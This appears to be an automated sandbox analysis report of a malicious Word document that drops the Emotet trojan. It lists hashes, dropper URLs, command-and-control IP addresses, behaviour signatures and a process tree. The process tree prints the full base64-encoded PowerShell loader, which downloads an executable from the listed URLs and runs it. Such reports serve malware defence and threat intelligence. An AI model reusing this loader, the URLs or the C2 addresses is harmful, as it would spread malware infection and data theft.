Analysis
-
max time kernel
117s -
max time network
155s -
platform
windows7_x64 -
resource
win7 -
submitted
01-08-2020 19:37
General
-
Target
SecuriteInfo.com.Exploit.Siggen2.11929.5227.9410.doc
-
Size
168KB
-
MD5
9818d6a4e594ec8dff03c6fd4115d3fc
-
SHA1
a0914b69782965ba17fbdf6a26f3a261d368e60e
-
SHA256
b788c3eb69332103a2934da12e1a1675bdda621b08a33cd5f6dca0c6980c18c3
-
SHA512
caccb715aaa2ddadf315f7ec072f898fcd05cd257580c359d41162eeedfeef1d50fb2b5c89a749ad39f4f325e1b66c03a4321652a3bd02b7f1c11293cf57a5ee
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://yeichner.com/old/iyv0hf8926444/
exe.dropper
http://ensource.co.uk/EAYO10088k/32eMeaoiq7963578/
exe.dropper
http://withdrake.com/stacymgreen/etqjdgf4343351/
exe.dropper
http://spitzertech.net/wp-content/D9pmd93694/
exe.dropper
http://www.giardinosullamaremma.it/wp-content/MnICFTr/
Extracted
Family
emotet
C2
201.235.10.215:80
198.57.203.63:8080
163.172.107.70:8080
172.105.78.244:8080
107.161.30.122:8080
203.153.216.182:7080
37.46.129.215:8080
201.214.108.231:80
178.33.167.120:8080
181.113.229.139:443
192.210.217.94:8080
24.157.25.203:80
94.96.60.191:80
157.7.164.178:8081
75.127.14.170:8080
189.146.1.78:443
190.164.75.175:80
192.241.220.183:8080
190.55.233.156:80
91.83.93.103:443
rsa_pubkey.plain
Signatures
-
Suspicious use of SetWindowsHookEx 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Drops file in System32 directory 2 IoCs
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Blacklisted process makes network request 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.11929.5227.9410.doc"1⤵
- Suspicious use of SetWindowsHookEx
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEsAVQBIAFMAVQByAHcAZAAgAD0AIAAnADYANwA5ACcAOwAkAEEAWgBFAEcAVwBrAGUAaQA9ACcASABKAEYAQwBPAG0AZABoACcAOwAkAFMATgBLAFoAUQBxAGYAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASwBVAEgAUwBVAHIAdwBkACsAJwAuAGUAeABlACcAOwAkAFYARwBQAFMAWQBqAGsAaAA9ACcAQwBSAFAAVABSAGEAdwBjACcAOwAkAFEAVABUAFAASwB2AHcAZQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBDAEwAaQBFAE4AdAA7ACQAQQBQAFYATABWAGMAbwBjAD0AJwBoAHQAdABwADoALwAvAHkAZQBpAGMAaABuAGUAcgAuAGMAbwBtAC8AbwBsAGQALwBpAHkAdgAwAGgAZgA4ADkAMgA2ADQANAA0AC8AKgBoAHQAdABwADoALwAvAGUAbgBzAG8AdQByAGMAZQAuAGMAbwAuAHUAawAvAEUAQQBZAE8AMQAwADAAOAA4AGsALwAzADIAZQBNAGUAYQBvAGkAcQA3ADkANgAzADUANwA4AC8AKgBoAHQAdABwADoALwAvAHcAaQB0AGgAZAByAGEAawBlAC4AYwBvAG0ALwBzAHQAYQBjAHkAbQBnAHIAZQBlAG4ALwBlAHQAcQBqAGQAZwBmADQAMwA0ADMAMwA1ADEALwAqAGgAdAB0AHAAOgAvAC8AcwBwAGkAdAB6AGUAcgB0AGUAYwBoAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ARAA5AHAAbQBkADkAMwA2ADkANAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAaQBhAHIAZABpAG4AbwBzAHUAbABsAGEAbQBhAHIAZQBtAG0AYQAuAGkAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBNAG4ASQBDAEYAVAByAC8AJwAuACIAcwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABFAEQAQwBOAEMAbABnAGsAPQAnAFAAUABNAFUAWgBrAHoAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBEAFgAWgBTAGwAbQBzACAAaQBuACAAJABBAFAAVgBMAFYAYwBvAGMAKQB7AHQAcgB5AHsAJABRAFQAVABQAEsAdgB3AGUALgAiAEQATwBXAGAATgBsAE8AYQBkAGAARgBpAGAATABlACIAKAAkAEEARABYAFoAUwBsAG0AcwAsACAAJABTAE4ASwBaAFEAcQBmAHoAKQA7ACQASgBJAEIAVgBXAHAAdABiAD0AJwBLAE4AUgBGAEYAbQBuAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABTAE4ASwBaAFEAcQBmAHoAKQAuACIAbABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADIAMgA5ADcANwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBgAFIAZQBBAGAAVABlACIAKAAkAFMATgBLAFoAUQBxAGYAegApADsAJABJAEQARQBMAE8AbAB2AHIAPQAnAEgAUgBGAFUASgBvAG4AdQAnADsAYgByAGUAYQBrADsAJABKAEgATgBUAEIAdQB3AHcAPQAnAEsASgBaAEgAQQBnAGMAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAFgATgBLAEIAeABwAHUAPQAnAEYAVABJAFEAUwBzAHAAcAAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
-
C:\Users\Admin\679.exeC:\Users\Admin\679.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
-
C:\Windows\SysWOW64\MP3DMOD\dpnhupnp.exe"C:\Windows\SysWOW64\MP3DMOD\dpnhupnp.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\679.exe
-
C:\Users\Admin\679.exe
-
C:\Windows\SysWOW64\MP3DMOD\dpnhupnp.exe
-
memory/1464-2-0x00000000088F0000-0x00000000088F4000-memory.dmpFilesize
16KB
-
memory/1464-4-0x0000000006DD0000-0x0000000006FD0000-memory.dmpFilesize
2.0MB
-
memory/1464-5-0x000000000AD50000-0x000000000AD54000-memory.dmpFilesize
16KB
-
memory/1464-6-0x000000000BDD0000-0x000000000BDD4000-memory.dmpFilesize
16KB
-
memory/1464-10-0x0000000002180000-0x0000000002181000-memory.dmpFilesize
4KB
-
memory/1560-14-0x0000000000000000-mapping.dmp
-
memory/1560-16-0x0000000000620000-0x000000000062C000-memory.dmpFilesize
48KB
-
memory/1840-13-0x00000000003F0000-0x00000000003FC000-memory.dmpFilesize
48KB